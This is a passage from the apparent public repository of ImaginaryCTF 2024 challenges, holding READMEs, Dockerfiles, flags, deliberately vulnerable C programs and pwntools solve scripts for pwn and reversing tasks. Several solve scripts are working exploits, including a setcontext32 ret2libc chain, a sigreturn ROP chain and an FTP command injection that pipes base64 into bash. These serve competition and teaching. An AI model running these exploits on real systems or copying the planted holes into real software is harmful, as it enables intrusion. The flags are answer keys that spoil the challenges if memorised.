49 | p64(plt_trampoline) * 0x40,
50 | create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
51 | )
52 |
53 |
--------------------------------------------------------------------------------
/Pwn/hopper/challenge/vuln:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/hopper/challenge/vuln
--------------------------------------------------------------------------------
/Pwn/ictf-band/README.md:
--------------------------------------------------------------------------------
1 | # ictf-band
2 | **Category:** PWN
3 | **Diff**: Easy-Medium
4 | **Author**: Brandy
5 |
6 | ## Description:
7 |
8 |
Did you know that our team at ImaginaryCTF has a band called ictf-band? Formed in 2024, our band consists of four talented musicians and one incredible vocalist, each highly skilled in their respective roles.
9 |
10 | Recently, we've encountered challenges in coming up with new song titles and writing lyrics. To address this, we've developed an innovative application called ictf-band, accessible to the public via Command Line Interface (CLI). This application allows users to contribute song titles and lyrics, with all responses and data being saved for our creative process.
11 |
12 | As we continue to enhance our application, we're seeking insights from cybersecurity experts to identify potential vulnerabilities. As a vulnerability researcher, your expertise in uncovering and addressing these vulnerabilities is invaluable. We're particularly interested in understanding the worst possible outcomes to ensure our application remains secure and robust.
13 |
14 | ## Distribution:
15 | - ictf-band.
16 | - libc.so.6
17 | - loader.
18 |
19 | # Solution:
20 | - solve.py
21 |
--------------------------------------------------------------------------------
/Pwn/ictf-band/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: kctf.dev/v1
2 | kind: Challenge
3 | metadata:
4 | name: ictf-band
5 | spec:
6 | deployed: true
7 | powDifficultySeconds: 0
8 | network:
9 | public: true
10 | healthcheck:
11 | enabled: false
12 | image: eu.gcr.io/imaginaryctf-2023/ictf-band-challenge:8da4817c2c6103b08b295b0cadf8eca2d5a489d32063b193c4eeb57c7d30d540
13 |
--------------------------------------------------------------------------------
/Pwn/ictf-band/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | # Copyright 2020 Google LLC
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # https://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 | FROM debian:latest as chroot
15 |
16 | RUN /usr/sbin/useradd --no-create-home -u 1024 user
17 |
18 | COPY assets/ictf-band /home/user/chal
19 | COPY assets/libc.so.6 /home/user/libc.so.6
20 | COPY assets/ld-linux-x86-64.so.2 /home/user/ld-linux-x86-64.so.2
21 | COPY assets/flag.txt /home/user/flag.txt
22 | COPY nsjail.cfg /home/user/nsjail.cfg
23 | RUN chmod 555 /home/user/*
24 |
25 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb
26 |
27 | COPY --from=chroot / /chroot
28 |
29 | COPY nsjail.cfg /home/user/
30 |
31 | CMD kctf_setup && \
32 | kctf_drop_privs \
33 | socat \
34 | TCP-LISTEN:1337,reuseaddr,fork \
35 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal"
36 |
--------------------------------------------------------------------------------
/Pwn/ictf-band/challenge/assets/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{F0rg3t_t0_pUt_c4N4r1y_pr0T3ction5}
--------------------------------------------------------------------------------
/Pwn/ictf-band/challenge/assets/ictf-band:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/ictf-band/challenge/assets/ictf-band
--------------------------------------------------------------------------------
/Pwn/ictf-band/challenge/assets/ld-linux-x86-64.so.2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/ictf-band/challenge/assets/ld-linux-x86-64.so.2
--------------------------------------------------------------------------------
/Pwn/ictf-band/challenge/assets/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/ictf-band/challenge/assets/libc.so.6
--------------------------------------------------------------------------------
/Pwn/ictf-band/challenge/public/README.md:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/Pwn/ictf-band/challenge/public/ictf-band:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/ictf-band/challenge/public/ictf-band
--------------------------------------------------------------------------------
/Pwn/ictf-band/challenge/public/ld-linux-x86-64.so.2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/ictf-band/challenge/public/ld-linux-x86-64.so.2
--------------------------------------------------------------------------------
/Pwn/ictf-band/challenge/public/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/ictf-band/challenge/public/libc.so.6
--------------------------------------------------------------------------------
/Pwn/imgstore/README.md:
--------------------------------------------------------------------------------
1 | # imgstore
2 | **Category:** Pwn
3 | **Difficulty:** Easy
4 | **Author:** Brandy
5 |
6 | ## Description
7 |
8 | Back to the old school.
9 |
10 | ## Distribution
11 |
12 | - libc.so.6
13 | - loader.
14 | - imgstore.
15 | - nc.
16 |
17 | ## Solution
18 |
19 | Using FSB to bypass PIE, canary, and ASLR then overwrite local and global variable to zero to bypass value check. Then perform ret2libc to gain RCE.
20 |
--------------------------------------------------------------------------------
/Pwn/imgstore/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: kctf.dev/v1
2 | kind: Challenge
3 | metadata:
4 | name: imgstore
5 | spec:
6 | deployed: true
7 | powDifficultySeconds: 0
8 | network:
9 | public: true
10 | healthcheck:
11 | enabled: false
12 | image: eu.gcr.io/imaginaryctf-2023/imgstore-challenge:9936ae5a822904fbcb51558fd1bb96acb848dc329c4b464a2175afba2d0d7445
13 |
--------------------------------------------------------------------------------
/Pwn/imgstore/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | # Copyright 2020 Google LLC
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # https://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 | FROM debian:latest as chroot
15 |
16 | RUN /usr/sbin/useradd --no-create-home -u 1024 user
17 |
18 | COPY assets/imgstore /home/user/imgstore
19 | COPY assets/libc.so.6 /home/user/libc.so.6
20 | COPY assets/ld-linux-x86-64.so.2 /home/user/ld-linux-x86-64.so.2
21 | COPY assets/flag.txt /home/user/flag.txt
22 | COPY nsjail.cfg /home/user/nsjail.cfg
23 | RUN chmod 555 /home/user/*
24 |
25 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb
26 |
27 | COPY --from=chroot / /chroot
28 |
29 | COPY nsjail.cfg /home/user/
30 |
31 | VOLUME /tmp
32 |
33 | CMD kctf_setup && \
34 | kctf_drop_privs \
35 | socat \
36 | TCP-LISTEN:1337,reuseaddr,fork \
37 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/imgstore"
38 |
--------------------------------------------------------------------------------
/Pwn/imgstore/challenge/assets/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{b4byy_f3rM4T_5Tr1nn66S}
--------------------------------------------------------------------------------
/Pwn/imgstore/challenge/assets/imgstore:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/imgstore/challenge/assets/imgstore
--------------------------------------------------------------------------------
/Pwn/imgstore/challenge/assets/ld-linux-x86-64.so.2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/imgstore/challenge/assets/ld-linux-x86-64.so.2
--------------------------------------------------------------------------------
/Pwn/imgstore/challenge/assets/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/imgstore/challenge/assets/libc.so.6
--------------------------------------------------------------------------------
/Pwn/imgstore/challenge/public/imgstore:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/imgstore/challenge/public/imgstore
--------------------------------------------------------------------------------
/Pwn/imgstore/challenge/public/ld-linux-x86-64.so.2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/imgstore/challenge/public/ld-linux-x86-64.so.2
--------------------------------------------------------------------------------
/Pwn/imgstore/challenge/public/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/imgstore/challenge/public/libc.so.6
--------------------------------------------------------------------------------
/Pwn/nsftpd/README.md:
--------------------------------------------------------------------------------
1 | # nsftpd
2 | **Category:** Pwn
3 | **Difficulty:** Easy
4 | **Author:** Eth007
5 |
6 | ## Description
7 |
8 | Not Secure File Transfer Protocol Daemon
9 | All credit to https://github.com/thinxer/ftp_project
10 |
11 | ## Distribution
12 |
13 | - `ftpd`
14 | - https://klodd.imaginaryctf.org/challenge/nsftpd
15 |
16 | ## Solution
17 |
18 | There is a command injection in the LIST command (https://github.com/thinxer/ftp_project/blob/master/ftpd/ftp_session.c#L68). Create a directory called `|/getflag`, change directories into it, and run LIST to get the flag.
19 |
--------------------------------------------------------------------------------
/Pwn/nsftpd/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:22.04
2 |
3 | RUN /usr/sbin/useradd -u 1000 user
4 |
5 | COPY flag.txt /
6 | RUN chmod 000 /flag.txt
7 |
8 | COPY getflag /
9 | RUN chown root:root /getflag
10 | RUN chmod 755 /getflag
11 | RUN chmod +s /getflag
12 |
13 | COPY ./ftp_project/ftpd/ftpd /home/user/ftpd
14 | RUN chmod +x /home/user/ftpd
15 | RUN chmod 777 /home/user/
16 |
17 | EXPOSE 1337
18 | WORKDIR /home/user/
19 | USER user
20 |
21 | CMD ["./ftpd", "1337"]
22 |
--------------------------------------------------------------------------------
/Pwn/nsftpd/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{we_love_random_2009_github_projects!}
2 |
--------------------------------------------------------------------------------
/Pwn/nsftpd/challenge/ftpd:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/nsftpd/challenge/ftpd
--------------------------------------------------------------------------------
/Pwn/nsftpd/challenge/getflag:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/nsftpd/challenge/getflag
--------------------------------------------------------------------------------
/Pwn/nsftpd/challenge/getflag.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | int main() {
5 | char buf[0x100];
6 | gid_t uid = geteuid();
7 | setresuid(uid, uid, uid);
8 | int fd = open("/flag.txt", 0);
9 | read(fd, buf, 0x100);
10 | puts(buf);
11 | }
12 |
--------------------------------------------------------------------------------
/Pwn/nsftpd/challenge/solve.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 | #conn = remote("localhost", 1337)
4 | conn = remote('nsftpd-e7458576c4110b20.d.imaginaryctf.org', 8443, ssl=True)
5 |
6 | # listen on an external server
7 | conn.sendline(b"PORT 192,9,137,137,164,58")
8 | conn.sendline(b"MKD |echo L2dldGZsYWc=|base64 -d|bash")
9 | conn.sendline(b"CWD |echo L2dldGZsYWc=|base64 -d|bash")
10 | conn.sendline(b"LIST")
11 |
12 | conn.interactive()
13 |
--------------------------------------------------------------------------------
/Pwn/onewrite/README.md:
--------------------------------------------------------------------------------
1 | # onewrite
2 | **Category:** Pwn
3 | **Difficulty:** Easy
4 | **Author:** Eth007
5 |
6 | ## Description
7 |
8 | One write to rule them all, one write to—never mind.
9 |
10 | ## Distribution
11 |
12 | - `vuln`
13 | - `libc.so.6`
14 | - nc
15 |
16 | ## Solution
17 |
18 | - solve.py
19 |
--------------------------------------------------------------------------------
/Pwn/onewrite/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: kctf.dev/v1
2 | kind: Challenge
3 | metadata:
4 | name: onewrite
5 | spec:
6 | deployed: true
7 | powDifficultySeconds: 0
8 | network:
9 | public: true
10 | healthcheck:
11 | enabled: false
12 | image: eu.gcr.io/imaginaryctf-2023/onewrite-challenge:af2a15bf24e18a14c54e340cbb9219d070005668e6628bc21d629cc92fcfa916
13 |
--------------------------------------------------------------------------------
/Pwn/onewrite/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | # Copyright 2020 Google LLC
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # https://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 | FROM ubuntu:22.04@sha256:ac58ff7fe25edc58bdf0067ca99df00014dbd032e2246d30a722fa348fd799a5 as chroot
15 |
16 | RUN /usr/sbin/useradd --no-create-home -u 1024 user
17 |
18 | COPY flag.txt /home/user/flag.txt
19 | COPY vuln /home/user/chal
20 | RUN chmod 555 /home/user/chal
21 |
22 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb
23 |
24 | COPY --from=chroot / /chroot
25 |
26 | COPY nsjail.cfg /home/user/
27 |
28 | CMD kctf_setup && \
29 | kctf_drop_privs \
30 | socat \
31 | TCP-LISTEN:1337,reuseaddr,fork \
32 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal"
33 |
--------------------------------------------------------------------------------
/Pwn/onewrite/challenge/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | gcc vuln.c -o vuln
3 |
--------------------------------------------------------------------------------
/Pwn/onewrite/challenge/__pycache__/setcontext32.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/onewrite/challenge/__pycache__/setcontext32.cpython-310.pyc
--------------------------------------------------------------------------------
/Pwn/onewrite/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{pls_dont_take_my_setcontext32_away}
2 |
--------------------------------------------------------------------------------
/Pwn/onewrite/challenge/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/onewrite/challenge/libc.so.6
--------------------------------------------------------------------------------
/Pwn/onewrite/challenge/setcontext32.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 | def create_ucontext(
4 | src: int,
5 | rsp=0,
6 | rbx=0,
7 | rbp=0,
8 | r12=0,
9 | r13=0,
10 | r14=0,
11 | r15=0,
12 | rsi=0,
13 | rdi=0,
14 | rcx=0,
15 | r8=0,
16 | r9=0,
17 | rdx=0,
18 | rip=0xDEADBEEF,
19 | ) -> bytearray:
20 | b = bytearray(0x200)
21 | b[0xE0:0xE8] = p64(src) # fldenv ptr
22 | b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr
23 |
24 | b[0xA0:0xA8] = p64(rsp)
25 | b[0x80:0x88] = p64(rbx)
26 | b[0x78:0x80] = p64(rbp)
27 | b[0x48:0x50] = p64(r12)
28 | b[0x50:0x58] = p64(r13)
29 | b[0x58:0x60] = p64(r14)
30 | b[0x60:0x68] = p64(r15)
31 |
32 | b[0xA8:0xB0] = p64(rip) # ret ptr
33 | b[0x70:0x78] = p64(rsi)
34 | b[0x68:0x70] = p64(rdi)
35 | b[0x98:0xA0] = p64(rcx)
36 | b[0x28:0x30] = p64(r8)
37 | b[0x30:0x38] = p64(r9)
38 | b[0x88:0x90] = p64(rdx)
39 |
40 | return b
41 |
42 | def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
43 | got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
44 | plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
45 | return got, flat(
46 | p64(0),
47 | p64(got + 0x218),
48 | p64(libc.symbols["setcontext"] + 32),
49 | p64(plt_trampoline) * 0x40,
50 | create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
51 | )
52 |
53 |
--------------------------------------------------------------------------------
/Pwn/onewrite/challenge/solve.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 | from setcontext32 import *
3 |
4 | context.binary = elf = ELF("./vuln")
5 | libc = ELF("./libc.so.6")
6 | #conn = elf.process()
7 | conn = remote("34.34.46.244", 1337)
8 |
9 | conn.recvuntil(b"0x")
10 | libc.address = int(conn.recv(12), 16) - libc.sym.printf
11 | info("libc @ " + hex(libc.address))
12 |
13 | dest, pl = setcontext32(
14 | libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
15 | )
16 |
17 | conn.sendline(hex(dest).encode())
18 | conn.sendline(pl)
19 |
20 | conn.interactive()
21 |
--------------------------------------------------------------------------------
/Pwn/onewrite/challenge/vuln:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/onewrite/challenge/vuln
--------------------------------------------------------------------------------
/Pwn/onewrite/challenge/vuln.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | void main() {
5 | char *buf;
6 | setbuf(stdin, NULL);
7 | setbuf(stdout, NULL);
8 | printf("%p\n> ", printf);
9 | scanf("%p%*c", &buf);
10 | fgets(buf, 0x300, stdin);
11 | puts("bye");
12 | }
13 |
14 |
--------------------------------------------------------------------------------
/Pwn/ropity/README.md:
--------------------------------------------------------------------------------
1 | # ropity
2 | **Category:** Pwn
3 | **Difficulty:** Easy
4 | **Author:** Eth007
5 |
6 | ## Description
7 |
8 | Just your typical ROP challenge
9 |
10 | ## Distribution
11 |
12 | - `vuln`
13 | - nc
14 |
15 | ## Solution
16 |
17 | - solve.py
18 |
--------------------------------------------------------------------------------
/Pwn/ropity/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: kctf.dev/v1
2 | kind: Challenge
3 | metadata:
4 | name: ropity
5 | spec:
6 | deployed: true
7 | powDifficultySeconds: 0
8 | network:
9 | public: true
10 | healthcheck:
11 | enabled: false
12 | image: eu.gcr.io/imaginaryctf-2023/ropity-challenge:314de23f377093886b222061eb9363a49ed1f63f99be5022d1107dc04685f8af
13 |
--------------------------------------------------------------------------------
/Pwn/ropity/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | # Copyright 2020 Google LLC
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # https://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 | FROM ubuntu:22.04@sha256:ac58ff7fe25edc58bdf0067ca99df00014dbd032e2246d30a722fa348fd799a5 as chroot
15 |
16 | RUN /usr/sbin/useradd --no-create-home -u 1024 user
17 |
18 | COPY flag.txt /home/user/flag.txt
19 | COPY flag2.txt /home/user/4a96aa432513aad8.txt
20 | COPY vuln /home/user/chal
21 | RUN chmod 555 /home/user/chal
22 |
23 | FROM gcr.io/kctf-docker/challenge@sha256:d884e54146b71baf91603d5b73e563eaffc5a42d494b1e32341a5f76363060fb
24 |
25 | COPY --from=chroot / /chroot
26 |
27 | COPY nsjail.cfg /home/user/
28 |
29 | CMD kctf_setup && \
30 | kctf_drop_privs \
31 | socat \
32 | TCP-LISTEN:1337,reuseaddr,fork \
33 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/chal"
34 |
--------------------------------------------------------------------------------
/Pwn/ropity/challenge/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | gcc vuln.c -o vuln -fno-stack-protector -no-pie -masm=intel
3 |
--------------------------------------------------------------------------------
/Pwn/ropity/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{pop_rdi_L}
--------------------------------------------------------------------------------
/Pwn/ropity/challenge/flag2.txt:
--------------------------------------------------------------------------------
1 | ictf{why_control_one_register_when_you_can_control_them_all}
2 |
--------------------------------------------------------------------------------
/Pwn/ropity/challenge/solve.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 | context.binary = elf = ELF("./vuln")
4 | #conn = elf.process()
5 | #gdb.attach(conn)
6 | conn = remote("34.32.138.15", 1337)
7 | rop = ROP(elf)
8 |
9 | payload = b"a"*8
10 | payload += p64(0x404018 + 0x8) # fgets got
11 | payload += p64(0x401142)
12 | conn.sendline(payload)
13 |
14 | frame = SigreturnFrame()
15 | frame.rax = 59
16 | frame.rip = 0x401198
17 | frame.rdi = 0x404048 + 160
18 | frame.rsi = 0
19 | frame.rdx = 0
20 | frame.rsp = u64(b"/bin/sh\0")
21 |
22 | payload = b""
23 | payload += p64(elf.sym.printfile) # goes into fgets got
24 | payload += p64(0x404038) # flag.txt
25 | payload += p64(0x401142)
26 | payload += b"flag.txt"
27 | payload += p64(0)
28 | payload += p64(0x401198) # syscall
29 | payload += bytes(frame)
30 | conn.sendline(payload)
31 |
32 | conn.interactive()
33 |
--------------------------------------------------------------------------------
/Pwn/ropity/challenge/vuln:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Pwn/ropity/challenge/vuln
--------------------------------------------------------------------------------
/Pwn/ropity/challenge/vuln.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | void main() {
5 | char buf[8];
6 | fgets(buf, 0x100, stdin);
7 | }
8 |
9 | void printfile(char*file) {
10 | __asm__(
11 | ".intel_syntax noprefix\n"
12 | "mov rax, 2\n"
13 | "mov rsi, 0\n"
14 | "syscall\n"
15 | "mov rsi, rax\n"
16 | "mov rdi, 1\n"
17 | "mov rdx, 0\n"
18 | "mov r8, 0x100\n"
19 | "mov rax, 40\n"
20 | "syscall\n"
21 | );
22 | }
23 |
--------------------------------------------------------------------------------
/Reversing/Absolute Flag Checker/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{that_is_a_lot_of_equations_n2u1iye21azl21}
--------------------------------------------------------------------------------
/Reversing/Absolute Flag Checker/readme.md:
--------------------------------------------------------------------------------
1 | # Absolute Flag Checker
2 | **Category:** Rev
3 | **Difficulty:** Medium-Hard
4 | **Author:** Minerva.
5 |
6 | ## Description
7 | What's easier way than verifying flag contents more times than required?
8 |
9 | ## Distribution
10 |
11 | - `togive/absolute flag checker.exe`
12 |
13 | ## Solution
14 | The hardcoded condition checks are a system of linear equations, made without using arrays/vectors to make reversing annoying. The linear equation is of the form AX=B, where X is the flag vector. Using linear algebra, find X by using X = (A^-1)B.
15 |
--------------------------------------------------------------------------------
/Reversing/Absolute Flag Checker/src/generate equations.cpp:
--------------------------------------------------------------------------------
1 | #include"stdio.h"
2 | #include"stdlib.h"
3 | #include"string.h"
4 |
5 | int main()
6 | {
7 | // Flag vector
8 | char flag[]="ictf{that_is_a_lot_of_equations_n2u1iye21azl21}";
9 | srand(0xad122193);
10 | // Generate the matrix
11 | unsigned long int ans = 0;
12 | for(int i=0;i<]` (They cause the infinite loop) and then use an online bf compiler and give input "i" Let it run and then give "a" (assuming you don't know the next character). You will see that the value currently is "254". You need it to be zero so add ascii value of "a" + 2 and you get "c", which is the right character! Continue doing this. (I don't exactly know how to get rid of the unintended solution. If you do, please send me a message on discord :D)
15 |
16 |
--------------------------------------------------------------------------------
/Reversing/bf/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{1_h4t3_3s0l4ng5_7d4f3a1b}
2 |
--------------------------------------------------------------------------------
/Reversing/bf/challenge/generate.py:
--------------------------------------------------------------------------------
1 | import random
2 | import sympy
3 |
4 | flag="ictf{1_h4t3_3s0l4ng5_7d4f3a1b}"
5 |
6 | code=""
7 | equations=[]
8 | for i in flag:
9 | rand=random.randint(30,70)
10 | while sympy.isprime(rand):
11 | rand=random.randint(30,70)
12 | RHS = eval(f"ord(i)+{rand}")
13 | equations.append(f"{ord(i)}+{rand}={RHS}")
14 | factors = sympy.divisors(rand)
15 | best_factors=[factors[int(len(factors)/2)]]
16 | best_factors.append(int(rand/best_factors[0]))
17 | fac1=best_factors[0]
18 | fac2=best_factors[1]
19 | assert fac1*fac2==rand
20 | code += f",>>{'+'*fac1}[<{'+'*fac2}>-]<[-<+>]<{'-'*RHS}[><]"
21 |
22 | print(code)
23 |
--------------------------------------------------------------------------------
/Reversing/oh_a_camel/README.md:
--------------------------------------------------------------------------------
1 | # Oh, a Camel!
2 | **Category:** Reversing
3 | **Difficulty:** Medium/Hard
4 | **Author:** lodsb
5 |
6 | ## Description
7 |
8 | While exploring twisted corridors of an ancient pyramid, you find a weird scroll with a camel drawn on it. You pick it up, but don't have too much time to inspect it...
9 |
10 | ## Distribution
11 |
12 | - output/main.exe
13 |
14 | ## Solution
15 |
16 | Don't reverse the whole thing, realize that the most important part is `camlDune__exe__Main__is_position_legal_84` which checks whether given tile is a wall or not. Dump the whole maze (either by reading the values from the buffer or by using dynamic instrumentation to repeatedly call the function with different coordinates as arguments) and run DFS or BFS to solve it. Send the path to program's stdin and read the flag.
17 |
--------------------------------------------------------------------------------
/Reversing/oh_a_camel/challenge/.gitignore:
--------------------------------------------------------------------------------
1 | Dockerfile.ocaml
2 | Dockerfile.opam
--------------------------------------------------------------------------------
/Reversing/oh_a_camel/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ocaml/opam:debian-10-ocaml-4.13 AS builder
2 |
3 | USER root
4 | RUN apt update -y && apt install -y python3 python3-venv libgmp-dev pkg-config zlib1g-dev
5 | RUN opam install cryptokit
6 |
7 | WORKDIR /output
8 | COPY src .
9 | RUN chmod +x preprocess.sh
10 | RUN python3 -m venv venv
11 | RUN . venv/bin/activate && pip install -U pip && pip install pycryptodome && python3 generate.py
12 | RUN opam exec -- dune build
13 |
14 | RUN cp _build/default/bin/main.exe .
15 |
16 | FROM scratch AS output
17 |
18 | WORKDIR output
19 |
20 | COPY --from=builder /output/main.exe .
--------------------------------------------------------------------------------
/Reversing/oh_a_camel/challenge/build.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | docker build --output=. --target=output .
--------------------------------------------------------------------------------
/Reversing/oh_a_camel/challenge/output/main.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/oh_a_camel/challenge/output/main.exe
--------------------------------------------------------------------------------
/Reversing/oh_a_camel/challenge/solve/.gitignore:
--------------------------------------------------------------------------------
1 | _agent.js
2 | node_modules
--------------------------------------------------------------------------------
/Reversing/oh_a_camel/challenge/solve/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "frida",
3 | "version": "1.0.0",
4 | "description": "",
5 | "private": true,
6 | "main": "index.ts",
7 | "scripts": {
8 | "prepare": "npm run build",
9 | "build": "frida-compile index.ts -o _agent.js -c",
10 | "watch": "frida-compile index.ts -o _agent.js -w",
11 | "solve": "frida -l index.ts ../output/main.exe"
12 | },
13 | "devDependencies": {
14 | "@types/frida-gum": "^18.5.1",
15 | "@types/node": "^18.19.3",
16 | "frida-compile": "^16.4.1"
17 | }
18 | }
--------------------------------------------------------------------------------
/Reversing/oh_a_camel/challenge/solve/tsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "compilerOptions": {
3 | "target": "es2020",
4 | "lib": ["es2020"],
5 | "allowJs": true,
6 | "noEmit": true,
7 | "strict": true,
